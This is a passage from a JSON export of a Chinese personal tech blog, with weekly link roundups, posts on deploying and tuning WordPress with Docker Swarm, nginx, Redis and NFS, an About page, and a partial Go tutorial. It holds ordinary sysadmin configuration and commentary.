上看见了一个不得了的东西，上面的这段英语就不多做翻译了。的确像有一句话里面说到：在宏观世界里，当群体人数众多的时候，同性相斥异性相吸的强相互作用力其效果将会明显的显现出来。。对于技术的普及还是这些原始驱动力来的快。你说这个 facesweep 可以帮人拍电影，屁民心想，和我啥关系。可是你一旦前面加了个小字。这技术就是蓬勃发展了。\n文章 跟着“创业“三年半的日子 # 一篇蛮有感触的文章，虽然不曾经历\n马云说，一个人辞职只有两个原因：一是钱太少，二是干得不开心了。而我不幸的是两者皆有。\n最受打击的应该是看清楚了CEO的本质。从最开始相信他是一个做实事，靠谱的CEO到最后发现只不过是一个赌徒，满足个人私欲的“骗子”。自己的情怀，寄托在这里能实现财富自由的梦也被无情的击碎。除了心酸外，再也找不到其他词语能够表达我的情感了。\n讲到为什么呆在这里，作者写了一段话：“我说是情怀的话，肯定会被笑死吧。然而真相就是这样，这个项目大部分代码都是我无数个通宵，无数杯咖啡一行一行码出来，看着就像是自己的孩子一样。” 当自己还有这梦想的是后何尝不是这样子的呢。相信他人，相信未来，是可以像《硅谷》这个剧里面的那样激动人心。但是试试往往更有可能是寒心的结果，这个让我想到当时在车站给一个素不相识的路人转了两百块钱的事情。现在想想心里还是不舒服。\n最重要的，我明白了创业最最重要的东西，那便是坚持。很多人，走着走着就散了。很多事情，做着做着就忘记了原本的目的。创业也是一样，如果不能时刻记得最初的愿景，死亡只是眼前的事情。作为一家公司的CEO，如果只会给别人画大饼，却长时间连员工的基本保障都不能给予的时候，应该感到羞愧，也是一个人不负责的表现。当我未来某一天决定创业时，这些经验一定能让我少走很多弯路。如此想来，也不算是一件坏事了。\nPICKS 这次推荐点什么好东西呢？想想，那就看书吧，推荐看书的方法。 如何快速的取了解一个新的技术，或者是新的东西？那就去看书吧，厚的薄的就看，一两本翻完基本上也就有了基础的了解了。没错这里是翻完：\n所以这里推荐 Gitbook 平台，准确是一种发布方式，可以让作者取创建属于自己的书呢。\nwizardforcel 像是这个，我就在上面扒过不少好书。通俗易懂，简短干货\n另外直接使用 Google 的高级搜索，我们也可以很快找到类似的书比如：\nsite:gitbook.com 软件测试 达拉，很容易找到自己想看的书了XD\nTech Zsh下配置Docker命令补全\nDocker安装typecho\nTraefik 详解\nTraefik 另类的服务暴露方式\n如果想让自己的东西从能用就行，到变得优雅。最好的建议就是取看看他的官方的文档吧\nTraefik 实战(traefik+docker swarm) 关于Treafik 的一批很好的初步实践\n將你的網站加上 https — Cloudflare 用cloudflare 给网站轻松 CDN\n用Typecho Redis Cache来为Typecho提供全站超高速缓存\n后 这周的内容的确显得太敷衍了，如果您作为一个读者，我就先说声抱歉了。 因为这周琐事太多也不知道自己做了啥就过去了。 给自己的话，就是继续完成标签收敛的任务\n","date":"2019-04-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-04-weekly-2/","tags":null,"title":"Weekly.2"},{"categories":["op之路"],"contents":"前 上一篇已经很OK的部署了一个 wordpress 的stack跑在Swarm 的集群上面，现在还挺稳定的，比较开心。 不过为了追求更快更好的体验，和对页面体验的提升，这里就要进行大优化了。 因为描述一下现状，现在的中间的隧道节点是很可怜的 1M 带宽的机器，怎么把这个 1M 的带宽用好就是关键了。\n这里先给个数据：站点的加载内容为 205k 1M 带宽其理论上下行总和速度 ： 125k/s 理论传输时间：205/125=1.64s 实际上传输时间: 2.6s +- 0.5\nNot Special ，It\u0026rsquo;s unique\nGzip 压缩 GZIP 压缩，用于压缩HTTP的请求文件的大小，得到其可以在有限带宽下面的传输能力。配置方法如下，直接在Nginx的虚拟主机的 块里面进行配置，来启用Nginx 的Gzip功能。\ngzip on; gzip_disable \u0026amp;quot;msie6\u0026amp;quot;; # IE6 不使用GZIP gzip_vary on; gzip_proxied any; gzip_comp_level 6; # 压缩等级 gzip_buffers 16 8k; gzip_http_version 1.1; gzip_min_length 256; # 256K以下文件不压缩 gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/vnd.ms-fontobject application/x-font-ttf font/opentype image/svg+xml image/x-icon; 在进行配置之后直接 reload Nginx 的配置即可生效：查看服务的响应头内容如下： 可以得到，已经开启 Gzip 的压缩功能。这里的压缩级别为 6，实际上这里是消耗CPU的运算，如果太高，有可能反而导致变慢的情况。\n参考链接：\n[加速nginx: 开启gzip和缓存]( \u0026ldquo;https://www.darrenfang.com/2015/01/setting-up-http-cache-and-gzip-with-nginx/\u0026rdquo;) Cache 缓存 使用 Nginx 加cache 这个之前在前面的帖子已经有提到过，这里换汤不换药。下面也po出配置文件：\nproxy_cache_path /tmp/ramdisk levels=1:2 keys_zone=my_zone:64m inactive=24h max_size=64m; proxy_cache_key \u0026#34;$scheme$request_method$host$request_uri\u0026#34;; location ~ .*\\.(gif|jpg|png|html|htm|css|js|ico|swf|pdf)$ { #Proxy proxy_set_header Host $host; proxy_ignore_headers Set-Cookie Cache-Control; #这句代码很关键，尤其要忽略set-cookie proxy_set_header X-real-ip $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass https://con; # upstream的 #Use Proxy Cache #定义的缓存池名称 proxy_cache my_zone; proxy_cache_key \u0026#34;$host$request_uri\u0026#34;; #定义缓存存放目录的子目录命名规则 add_header Cache \u0026#34;$upstream_cache_status\u0026#34;; #缓存的HTTP头部加了一个Cache proxy_cache_valid 200 304 301 302 8h; proxy_cache_valid 404 1m; proxy_cache_valid any 2d; } 整体不复杂，指定了静态文件的类型的正则，这些文件将不会在源站进行请求，会现在Nginx的缓存里面取。当然，这里的请求量不大，所以就使用了较小的空间 64M, 也是热数据的思想，这里的缓存内容是放在内存盘里面的。\n配置之后，继续查看响应头： 可以看到，这里的缓存已经是 HIT 的状态。说明配置成功。使用 df -h 查看缓存的分区，已经使用部分空间。\n安全！ 全站HTTPS 由于 Wordpress 的管理界面是直接账号密码登陆的，所以如果直接使用 HTTP 在页面上进行登陆，还真的是有些不放心，所以这里的 HTTPS 必须是得加上。HTTPS 的服务器配置，对于 HTTPS 的配置，可以直接取标准模板里面进行拷贝，这里就不在赘述，一样的可以本站搜索 NGinx 得到相关的结果。\n这里给出一段比较精巧的代码，用来实现全站的 Https 的，这里直接把 80 端口的请求进行重定向到目标站点（https）。\nserver { listen 80 default_server; #listen [::]:80; server_name _; return 302 https://$host$request_uri; #rewrite ^(.*)$ https://$host$1 permanent; error_page 404 /404.html; location = /40x.html { } } KCP 弱网络加速 这里使用了比较 LOW 的方法，使用 FRP 把本地的主机映射到外网，由于前面使用的境外的 VPS，所以网络环境是相当的不好，请求的 TTFB 往往长达十几秒，所以必须是使用 KCP 来解决弱网络下面的问题。\n关于KCP 的介绍：\nhttps://github.com/skywind3000/kcp\n更快 ! redis ！ 没想到是在这种情况下接触到了 redis。先做一个基础的了解吧，这个是一个基于内存的非关系数据库，由于其强大的性能。多用于做 对象缓存。\n由于之前 wordpress 的官方镜像是直接打包 php-fpm 的，其中默认没有 redis 的moudule。 所以需要安装组件，构建新的镜像。构建命令下面已经给出：\nFROM wordpress:latest ENV PHPREDIS_VERSION 3.1.3 RUN curl -L -o /tmp/redis.tar.gz https://github.com/phpredis/phpredis/archive/$PHPREDIS_VERSION.tar.gz \\ \u0026amp;amp;\u0026amp;amp; tar xfz /tmp/redis.tar.gz \\ \u0026amp;amp;\u0026amp;amp; rm -r /tmp/redis.tar.gz \\ \u0026amp;amp;\u0026amp;amp; mkdir -p /usr/src/php/ext \\ \u0026amp;amp;\u0026amp;amp; mv phpredis-$PHPREDIS_VERSION /usr/src/php/ext/redis \\ \u0026amp;amp;\u0026amp;amp; docker-php-ext-install redis \\ \u0026amp;amp;\u0026amp;amp; rm -rf /usr/src/php 构建过程的Dockerfile 参考链接：\nhttps://blog.csdn.net/xxx9001/article/details/81914074\n在镜像本身有了 php 的 redis 插件之后，我们需要在我们的stack里面添加redis的服务。所以我们修改 compose文件，添加redis 的配置:\nredis: image: redis restart: always 之后直接进行更新这个 stack 即可。连接时候默认的host:port 是 redis:6379。\n在wordpress里面直接进行redis的插件安装即可。 这里使用的是 LiteSpeed Cache 之后直接使用命令使用 shell 连上 redis 的容器： docker exec -i -t mynginx /bin/bash redis-cli 之后来使用 keys * 来显示所有的缓存键。\n后 经过一番折腾之后，站点，也就是本站的访问体验也算是得到了较大程度的加强，使用 Google 的 pagespeed-insight 进行测速：\n[PageSpeed Insights]( https://developers.google.com/speed/pagespeed/insights/?hl=zh-cn)\n得到的评分已经达到了70+的水平，在TTFB达到 2-3 秒的时间下，算是比较OK的了，还是比较开心的。 至此，优化的操作到此告一段落啦\nwith man nothing is possible but with god all things are possible\n","date":"2019-04-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-03-wordpress-%E7%AB%99%E7%82%B9%E7%9A%84%E4%BC%98%E5%8C%96%E4%B9%8B%E8%B7%AF/","tags":["docker","nginx","ops","redis","wordpress"],"title":"WordPress 站点的优化之路"},{"categories":["op之路"],"contents":"前面的话 在有了前面的 Docker 的 PaaS 的管理，在这里一切变得简单起来了，写好 Compose 的文件，一个简简单单的 stack deploy 就可以直接跑起了这个服务栈，美哉美哉。\n而且作为一个综合的建站的项目，涉及到的东西，还是相当的多的，从前面的建站，到后面的优化部分，笔者也算是投入了比较多的时间，这里总结整个过程，以及各种遇到的问题。另外这里的 compose 的文件都是可以直接使用的。 意味着，你也可以很轻松的搭建起一个 基于 Docker 的 wordpress 平台 （你所看到的内容是笔者因为没有开自动保存，第二次敲上去的 ?）\n快速部署 这个，官方给出的 docker-compoose.yml 的文件，这里直接进行使用。使用 docker stack 的命令，就可以自己进行部署，简单高效。这里的 栈的构成，有两个服务，其中一个 是 mysql 数据库，另一个部分是 Apache（带wordpress 以及 PHP环境的）。\nversion: \u0026#39;3\u0026#39; services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD: ${MYSQL_DATABASE_PASSWORD} MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress wordpress: image: wordpress:latest ports: - 80 # 暴露 容器 80 restart: always environment: WORDPRESS_DB_HOST: db:3306 # 容器内的 hostname WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress volumes: # 数据持久化用 db_data: 这里是 Centos 下面安装 Nginx 的一个小小的 Tips，因为官方的源好像是没有Nignx的。\nsudo rpm -Uvh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm sudo yum install -y nginx 安装完成之后自直接使用 Nginx 来进行反代的配置，访问器反代的端口，理应可以看到安装界面（关于如何配置 Nignx 的反代，可以在本站进行搜索）\nTouble Shooting 这里记下来一个踩的坑，在完成 反代设置之后，直接进行访问，发现会得到 500 的错误，这里查看日志，得到以下的问题 Nginx 报错 (13: Permission denied) while connecting to upstream\n借助搜索引擎，得到这个是一个较为共性的问题，其原因是 LinuxSE 导致的（唉，这些本来提供安全的功能，还有防火墙之类的东西倒是带来了不少的麻烦，） （所以，听到的最多的回答就是 “关了它”）\n在 StackOverflow 里面的帖子如下\n13: Permission denied while connecting to upstream:nginx\n以及这里的一条命令的解决方法。\nsetsebool httpd_can_network_connect on -P 至此应该是没什么大问题了，乖乖的安装 吧\n自定义配置 内外网访问 由于服务器用的是自己的物理主机，需要把服务映射到外网去。所以这里的就是关于内外网访问的设置。 网上的大多数的方案都是改数据库，或者直接 在 setting 的界面，把站点改为外网的URL。 这样不仅觉得很没有美感，而且问题出现了，很难支持多域名访问（CNAME 当我没说），而且我内网的访问，也要在外面绕一圈，多亏啊 所以这里，在网上找了找类似的设置方法，这里找到了一个比较优雅的设置方法，直接在 wp-config.php 里面进行设置。 博文链接如下：\n外网如何访问内部WordPress网站 简单来说，直接在配置文件的后面配置下面的一php的宏就OK了\ndefine( \u0026#39;WP_CACHE\u0026#39;, true ); define(\u0026#39;WP_SITEURL\u0026#39;, \u0026#39;http://\u0026#39; . $_SERVER[\u0026#39;HTTP_HOST\u0026#39;]); define(\u0026#39;WP_HOME\u0026#39;, \u0026#39;http://\u0026#39; . $_SERVER[\u0026#39;HTTP_HOST\u0026#39;]); 内容其实也挺有意思，通过 php 里面的全局变量，打到动态设置 这些配置的作用。妙哉\n由于这里使用 Docker 进行部署和发布，如果一直使用这种改配置文件的方法，显得不太优雅，所以\n当你发现不知道怎么办的时候，就求助官方文档了\n于是去看了看 wp 的dockerhub 官网：\nhttps://hub.docker.com/_/wordpress?tab=description\n果不其然，真是让我找的了这个部分，这个宏的配置将会被追加到配置文件中去。\n-e WORDPRESS_CONFIG_EXTRA=... (defaults to nothing, non-empty value will be embedded verbatim inside wp-config.php \u0026ndash; especially useful for applying extra configuration values this image does not provide by default such as WP_ALLOW_MULTISITE; see docker-library/wordpress#142 for more details) https://github.com/docker-library/wordpress/pull/142 Great idea, why not merge it?\n所以这里得到了更加优雅的解决方法，直接在我们的compose 文件里面添加我们的补充的宏就好了：\nWORDPRESS_CONFIG_EXTRA: | /* Multisite */ define( \u0026#39;WP_CACHE\u0026#39;, false ); define(\u0026#39;WP_SITEURL\u0026#39;, \u0026#39;http://\u0026#39; . $$_SERVER[\u0026#39;HTTP_HOST\u0026#39;]); define(\u0026#39;WP_HOME\u0026#39;, \u0026#39;http://\u0026#39; . $$_SERVER[\u0026#39;HTTP_HOST\u0026#39;]); 这里说是有个坑，这个配置要在间上面的原始的解决方案来源。因为页面会有缓存，那么我们的站点路径也不会被更新，所以这里disable掉。\n这里还有个坑，我竟然还去啥啥的提了issue。这里的$符号在Compose 文件里面，会被转义。使用 $$ 符号，避免被转义\nNignx 反代后端地址问题 在完成上面的主机配置之后，又遇到了一个问题：在外网进行映射访问的时候，发现可以进主页，而且其他的资源的url，统统的是我本地的hostname， 当时我就很奇怪了。这个什么情况，怎么后面服务器的内容跑到这里来了？\n不过，可能也是直觉，立马去 nginx 去看了日志，发现了一些端倪，这个url的host和我设置的nginx里面的upstream的值是一样的。 这样就懂了，我直接进行了代理，没有进行host的proxy，所以导致了后端 php 的$_SERVER['HOST'] 得到的是我们这个反代的。解决方案在 nignx 的配置里面改就好：\nproxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; 可以参考链接：\nhttps://blog.51cto.com/wangxiaoke/2175991\ndb多节点共享 这里说是共享，可能是比较的不准确，这里的共享，应该指的是主机之间的复用。 因为这里出了一点小状况：\nSwarm集群里面的一个节点被拔了网线，所以这个服务肯定会漂移到另一台主机上，但是，可以看一开始的compose 就会发现：有问题，因为使用了 Volume 来做的数据持久化。这个卷只会存在本机。所以导致，服务漂完之后数据全没有了。 为了解决上面的问题，这里就需要实现数据库的数据共享了，怎么个共享法呢？也挺俗的，就是 NFS\nvolumes: db_data: driver_opts: type: \u0026#34;nfs4\u0026#34; o: \u0026#34;addr=192.168.*.*,nolock,soft,rw\u0026#34; device: \u0026#34;:/srv/nfs/*_db\u0026#34; wp_data: 关于怎么在 Cent 上面使用 nfs 的可以参考下面文章操作：\nhttps://qizhanming.com/blog/2018/08/08/how-to-install-nfs-on-centos-7\n记得在 /etc/exports 里面把目的文件夹暴露出来\n后 其实这个 WordPress 折腾了蛮久，想想才回来写这些东西。 后面会有一篇专门来优化的，\n孤立系统自发地朝着热力学平衡方向──最大熵状态──演化\n","date":"2019-04-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-02-677/","tags":["docker","nginx","ops","wordpress"],"title":"基于Docker的WordPress快速部署"},{"categories":null,"contents":"1176天 突然发现自己写博客的时间已经有 1176天 天了，快三年的时间了。\n从开始写blog的CSDN， 博客园，再到Hexo，到现在的自己托管的WP。\n域名也是换了又换，可能没打算做成什么十年老站。\n不过值得高兴的是，这一千多天里，写的多写的少，自己也是没有停下来。\n关于本站 来了去去了来，自己零零星星写点自己觉得该写下来的东西，主要是之际各种折腾的过程吧。\n其实很多时候，想写写自己的一点想法，可是总是没时间把它给倒出来，后面看看怎么办。\n导致现在这个站里都是一些晦涩难懂的东西。\n网站发展史 在2016-6-6这一天 在 CSDN 上发表了自己的第一篇帖子 2018-5-6 这一天由于 CSDN过度的商业化，是的自己离开这一平台使用 HEXO 来搭建自己的静态博客 2018-3-29 静态博客的发布局限，以及书写局限，使得向动态站点迁移，选择开包即用的方案 wordpress，部署在自己的工控主机上，使用 docker进行部署 2019-05-03 部署方式由本地主机切换到 腾讯云服务器 写博客本身慢慢变成了自己一个寄托吧？能给忙忙碌碌的时间留下点什么标记吧。\n这样过了好久好久回头看自己的曾经写下的东西，多么有趣\n关于我 我，12ms，12=R，一个每天乱糟糟的人，INFP。就这些吧\n不想对自己做什么透彻的分析拆解。 ","date":"2019-03-29T08:40:12Z","permalink":"https://blogs.12ms.xyz/privacy-policy/","tags":null,"title":"ABOUT"},{"categories":null,"contents":"\n用来判断页面各种功能是否正常\n包括图片上传,速度测试,等等\n预览功能,会被跳转无限循环空页\n\u0026gt; 这里加了 KCP 协议的应用,速度更快\n","date":"2019-03-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-29-%E8%BF%99%E9%87%8C%E6%98%AF%E7%AC%AC%E4%B8%80%E4%B8%AA%E6%B5%8B%E8%AF%95%E9%A1%B5%E9%9D%A2/","tags":null,"title":"这里是第一个测试页面"},{"categories":["每周分享"],"contents":"前面的话 第二周了，谢谢谢谢，亲爱的小伙伴的友情鞭策。觉得大家看看前面的部分就好了，后面的 TECH 的部分，纯属个人来解决 浏览器标签爆炸的情况的\n（遇到好文章来不及看，又舍不得关，越堆越多，最后在一次浏览器Carsh，或者一次意外关机中倒是解决了这混乱，觉得好轻松，也好可惜）。所以关标签得检查下来。\n另外，把TECH放在最后，篇幅尽量–。\n正文 新鲜事 有政协委员曾建议大湾区设无需翻墙的互联网特区\n在刚结束的中国人民政治协商会议上，有政协委员提案，建议在粤港澳大湾区建立互联网特区，开放浏览社交平台，无需“翻墙”，就可以浏览各地资讯。据港媒报道，全国政协香港区委员吴杰庄说，“相信香港和粤港澳大湾区建立的网际网路（互联网）特区，里面完全信息流动”。对于提案最终会否落实，吴杰庄说，问题应该不大，因为这是大势所趋，“国家都是会走向国际化，信息流在人流、物流、资金流当中，信息流是最重要”。 （《打喷嚏》）\nAI体验站 （这个其实算是冷饭，不过这里收集一下吧）\nhttps://thispersondoesnotexist.com/ AI生成的人像照片，this person does not exist https://www.thiswaifudoesnotexist.net/ AI生成的 Waifu 照片 Nvidia 研究院 这个也是上面的AI的延申，一样是AI的应用，更加黑科技\n有钱就是厉害，比如这个 ，全自动AI相片处理 ，到什么程度呢？你你只需要把图片想修改的地方抹上 Mask ，Ai就会自动的帮你处理这里，这里写的是 修改 Modify ，包括去皱纹，去阻挡，去噪声，各种改变都OK\nhttps://www.nvidia.com/research/inpainting/) 苹果卡 Apple Card\nA new kind of credit card. Created by Apple, not a bank.\n想上车的赶紧去 Subscribe 一波\n树莓派出新啦，轻轻的没有声音，这次是 Compute Model 3简称 CM3，下面给出链接，以及一张惊艳的图\nhttps://item.taobao.com/item.htm?id=42503957976\n因为作者比较懒，所以很少有配图，这次不一样：\n国内某IT公司，销售用户交易信息到第三方，再次出现 公网弱密配置的 MongoDB\nGoogle 发布游戏串流平台 Stadia\n瘦主机和云计算，都是人们眼中的趋势。串流游戏的呼声也是很高呀。想想在床上的pad玩着5A游戏，岂不美哉。前端时间，刚刚和朋友谈起来，Nv 的串流平台。现在Google 开始变成通用平台了\n不过，发布会的时候，就当场卡顿了（当场去世），所以网络质量和带宽的需求玩家还是很担心，不然大作变成PPT 那不就爆炸？？？\n这个之前的《刺客信条：奥德赛》的时候，google已经做了类似的实验。不过，我们怕是万兆入户也估计玩不上这个了。\nNPC精神：只跟主动跟自己说话的人说话\nNPC，也就是很多玩家所熟悉的游戏内系统角色，这些角色一般只在玩家点击后才会和你聊天，一般情况不会主动和别人搭讪。NPC精神指很多网友的生活态度和NPC一样，只要没人主动前来和自己说话，一般都保持沉默状态，属于被动型人格。但这种性格其实也有很多优点，如npc会指引玩家们很多任务提示、商品购买、玩法等系统层面的帮助。\n某大学大学的某演讲的某段\nYes, indeed. It is called College. Where the transitory(短暂的) lands of the exhausted students converge(集合). In venturing north, the pilgrims(朝圣者) discover the truth of the old words. The GPA fades, and the homework goes unsolved. When the link of graduation is threatened, the bell tolls, unearthing(发掘) the old lords of success from their graves. Wikipedia, saint(圣徒) of knowledge. Caffeine’s sleepless legion(极多), the one-nighters(一夜之间). And the reclusive(隐居的) lord of the drunk capital, Alcohol, the giant. Only in truth, the lords will barely do good, and the unhealthy will rise. Nameless accursed(受诅咒的) students, unfit even to be a functional part of society. And so it is that the student seeketh(寻找) jobs.﻿\n这条是最不重要的一条：\n针对使用Fuck-XueXiQiangGuo学习强国刷分软件作弊的人士的最后通牒！\n软件开发者已经被带走，第一个因为开发刷课软件被带走的人，（嚯嚯嚯，小伙子你刷错课了）\n文章 chinese-programmer-wrong-pronunciation 很有意思的一个repo，程序员最容易发错音的单词\napp ? 里面的这个 ❌ [eipi'pi] 笑出声\n很多常见单词不读读还不知道\n零售行业优惠规则分析 优惠分析的一个较详细的收集，以后可以开开心心卖炒粉了\n满足优惠条件的动作\n优惠条件作用对象\n优惠方式\n回馈内容\n是否有限制\nPICKS Feeder——Follow everything you care about\n现在深度依赖的一款应用，正如其标题说的：follow一切。\nhttps://rsshub.app/\n^== 这个是现在很好的的一个项目，这个项目里面汇集了各种各样的订阅源。（还有po*nsome的东西 XD）\n这里推荐几个个人follow 的几个源。都是好东西\nRSS Comment https://rsshub.app/dapenti/tugua 一个中立态度的自媒体 https://rsshub.app/zhihu/hotlist 知乎热榜，看看热闹 http://www.diglp.xyz/atom.xml 现在的这个博客\u0026#x1f980; https://rsshub.app/juejin/category/frontend 掘金前端 https://rsshub.app/github/trending/daily/ Github Daily Trending https://rsshub.app/mzitu/home ？？？ 。。。 。。。 订阅自己喜欢的剧的方法\n这里一个神站 EZTV IMDB上的剧，基本同步的发布的。这里我们需要在 IMDB 上找到我们的剧，之后使用上面的RSS就可以完成订阅了!\nhttps://rsshub.app/eztv/torrents/2575988\nTECH 计算机网络-自底向上 – Fleschier 渐寒๑ 一篇系统的讲网络的长篇大论\n网络之间可以通过路由器互连起来,因此互联网是 网络的网络. 以小写字母i开始的internet(互连网)是一个通用名词,泛指由多个计算机网络互连而成的计算机网络./以大写字母I开始到Internet(互联网)是一个专有名词,特指采用TCP/IP协议族作为通信规则的互联网. 虚电路/数据报 A{1,126},B{128,191},C{192,223} IP地址 ::= {\u0026lt;网络号\u0026gt;,\u0026lt;子网号\u0026gt;,\u0026lt;主机号\u0026gt;} / IP地址:={\u0026lt;网络前缀\u0026gt;,\u0026lt;主机号\u0026gt;} CIDR 负载均衡集群 LVS 详解 很好的一篇讲 LVS 和LVS 组态的文章，后面深入学习\nScale-up 和 Scale out LVS-NAT/LVS-DR/LVS-TUN/LVS-FULLNAT 在嵌入式设备上编译安装 OPENCV且启用 py接口\n一篇实用贴，针对的是对于一些特定的python 的版本其 opencv-python 的支持没有覆盖的情况，比如 pyhthon3.5。整体编译过程在 BCM2835 的 j4 情况下，一小时左右吧。\n探索 Python + HyperLPR 进行车牌识别\n探索 Python + HyperLPR 进行车牌识别\n基于深度学习高性能中文车牌识别 High Performance Chinese License Plate Recognition Framework.\n很Nice 的一个车牌识别库，好用的车轮子\nLinux Tools Quick Tutorial\nhttps://github.com/ShaneMcC/beeps 使用主板Beep来做音乐，好玩\n压力测试工具ab、webbench、http_load、siege简单使用 常用的压测工具\n句子 在宏观世界里，当群体人数众多的时候，同性相斥异性相吸的强相互作用力其效果将会明显的显现出来。（《玩世》） 现在，是过去的未来 NPC精神 分布式笔记系统，和毁灭型永续增长时间表 是日程混乱的开始 这里吐槽一下AppStore第一的软件，让我想到了 blackMirror 里面的，没记错的话 叫做急转直下。如果真的用评分来构建一个忠诚度社会的话，那么还有什么是真的呢。 后面的话 标签tab日趋收敛，?，THX，写了些自己觉得新奇好玩的内容，期待反馈~\n","date":"2019-03-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-27-weekly-1/","tags":null,"title":"Weekly.1"},{"categories":null,"contents":"前面的话 想想自己说是学 Go 已经想了了半年了都，可自己以前一直想的 WeGene 一样。从有想法到付款，一下子晃了一年过去了。\n看着价钱从 299 到 499 ,突然和进行看的《时间管理》书里面写到，迟早都要做，晚做不如早做好 。想想好像的确该认清点什么了。\n对了，这篇文章 全篇参考\nGo语言教程 \u0026ndash; RUNOOB Go 简介 先弄懂哪里使得他如此有魅力\nGo 自 2007 年开始研发，在2009 年开源。 Go 的语言的特色如下：\n简洁、快速、安全 并行、有趣、开源 内存管理、数组安全、编译迅速 最大的亮点在于与身俱来的并发能力，用于服务端的开发。之前也有遇到很多的基于GO的项目：frp，docker-compose，etc. 。\n这里大量应用 《Go语言程序设计》这本书里的几句箴言（几大惊喜）\n大道至简的哲学 语言最小化\n并行支持\n非侵入式接口\n极度简化但是完备的OOP\n错误处理规范E\nf, err :- os.Open(file) if err != nil { //err } defer f.Close() 功能的内聚。\n消除了堆和栈的边界\nGo 对C的支持\nGo 基础 hello world 开始 传统？Go 程序的基础组成由 包声明，引入包，函数，变量，语句\u0026amp;注释，注释\npackage main // 导入格式化输入的包 import \u0026amp;quot;fmt\u0026amp;quot; func main() { /*注释与C类似*/ fmt.Print(\u0026amp;quot;test\u0026amp;quot;) } Go 的精致的地方，在朋友当时吹吹这个用 首字母大大小写来区别函数的可见性的时候，就觉得不一般了。这里强制规定了：左花括号不能换行（消灭异端？？） 。\n基础语法 左花括号不可换行\n其实感觉吸取JS 的风格，不需要 ; 如果同行多语句，需要使用 分号进行分隔。\n注释风格同 C\n标识符大小写敏感，同C，不可以数字开头，不可占用关键字，不可带运算符\n关键字 ， （虽然不知道怎么用，先认识一些）\n- - - - - case defer go map struct chan else goto package switch const fallthrough if range type continue for import return var break default func interface select 基本数据类型\n布尔，数字，字符串，其他派生（指针，数组，结构体，Channel，函数，切片，接口，Map）\n这里直接 合并了 C 里面常用的几个 typedef ：uint8,int64,float64,complex128\n变量 类似与 JS 使用 var 关键字进行变量定义\nvar \u0026lt;identifer\u0026gt; \u0026lt;type\u0026gt; var num1 int64 var num2 = 123 # 编译语言，自动确定类型 num := 123 # 省略 var 关键字， := 为声明语句 多变量声明的方式\na,b,c := 1,2,3 var ( a int8 b int64 ) 值类型和引用类型\n这里结合 C 的思想，这里的变量是内存中的值。通过 \u0026amp; 对变量进行取值。\n但是，引类型是不一样的，这里理解为 指针吧，引用的值是保存其值的内存地址。\n局部变量不允许声明但不使用，全局变量支持。\n两个值进行交换 a,b = b,a\n空白标识符用于抛弃值\na,_,c = 1,2,5 常量 同多数语言使用 const 标识符。\nconst a,c,d = 1,3,4 const ( Unknown = 0 Female = 1 Male = 2 ) iota 这里不是 C 里面的 int to ascii ，可以理解为，编译器维护的一个全局的常量。iota 在 const关键字出现时将被重置为 0(const 内部的第一行之前)，const 中每新增一行常量声明将使 iota 计数一次(iota 可理解为 const 语句块中的行索引)。\nconst ( a = iota //0 b //1 c //2 d = \u0026#34;ha\u0026#34; //独立值，iota += 1 e //\u0026#34;ha\u0026#34; iota += 1 f = 100 //iota +=1 g //100 iota +=1 h = iota //7,恢复计数 i //8 ) 运算符 基础的都支持 包括 ++ 和 \u0026ndash; 。\n关系运算符也是一样的。\n逻辑运算也一样\n位运算也一样 （^ 这个叫做脱字符），支持位移\n复合运算符，较之于 C 有了拓展\n= ， += ，-=， *= ，\u0026laquo;= \u0026hellip;\n取值，指向 \u0026amp;*\n优先级\u0026hellip;记不住，用括号吧\n条件语句 if/if-else , switch, select 多了个没有用过的， 下面给出基本格式\nif true { fmt.Print(\u0026#34;123\u0026#34;) } else { fmt.Print(\u0026#34;NO\u0026#34;) } switch val { case 1: fmt.Print(\u0026#34;123\u0026#34;) case 2: fmt.Print(\u0026#34;123\u0026#34;) case grade == \u0026#34;F\u0026#34;: fmt.Printf(\u0026#34;不及格\\n\u0026#34; ) } select { case communication clause : statement(s); case communication clause : statement(s); /* 你可以定义任意数量的 case */ default : /* 可选 */ statement(s); } Type Switch 这个可以根据 类型来决定 Case，异常一样。不过很奇怪啊，是编译语言，类型还能变吗\nswitch x.(type){ case type: statement(s); case type: statement(s); } fallthrough 强制的执行下一个 Case 的内部代码，（感觉很大的提高了灵活性）\nselect 之前没有见过 不过看其解释如下：\nselect是Go中的一个控制结构，类似于用于通信的switch语句。每个case必须是一个通信操作，要么是发送要么是接收。\nselect随机执行一个可运行的case。如果没有case可运行，它将阻塞，直到有case可运行。一个默认的子句应该总是可运行的。\n这样就突然清楚了，LinuxC 里面的用于异步IO的 select() 在这里被表现为一个结构了，妙啊\n关于这个结构的介绍，应该是和并发是息息相关的，现在看的有点蒙。先跳吧\n循环语句 缩减关键词，去掉了 while 使用for 实现 当和直到。形式如下\nfor init; condition; post { } // 同 for(1;2;4) {3} for condition { } // 同 while(condition){} for { } // 同 for(;;){} 使用 for 也可以很方便的对元素进行迭代\nfor key, value := range oldMap { newMap[key] = value } break，continue， goto\nbrk 和 ctnu 一样的功能，记得switch 也需要 brk\n没想到这里还留着 goto ，一样的 goto lable ，一般不要乱跳，用来统一异常处理也行。\nfor true {fmt.print('dala')}\n函数 和 C 一样，main() 为必须的函数入口。\n函数定义格式如下：\nfunc function_name( [parameter list] ) [return_types] { //函数体 } func test (a, b int) int { return a + b } 多返回值 和python类似，可以进行多个值的返回\nfunc swap(x, y string) (string, string) { return y, x } // 多个参数进行接收 a,b := swap(\u0026#34;a\u0026#34;, 